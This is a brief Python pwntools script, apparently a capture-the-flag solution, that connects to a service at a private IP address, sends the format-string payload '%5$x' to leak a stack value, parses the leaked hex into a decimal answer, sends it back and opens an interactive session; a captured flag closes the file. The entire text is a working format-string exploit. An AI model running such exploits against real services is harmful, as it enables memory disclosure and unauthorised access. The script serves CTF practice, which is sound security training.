#!/usr/bin/env python
from pwn import *

r = remote('192.168.31.25',55555)

res = r.readuntil('?')
print res

r.send('%5$x')
res = r.readuntil(':')
print res 

ans = res.split('\n')[0]
ans = ans.split(',')[1]
ans = ans.split('Your ')[0]
ans = str(int(ans,16))

r.send(ans)
r.interactive()

#AD{fm7_1s_so_p0w3rfu1}
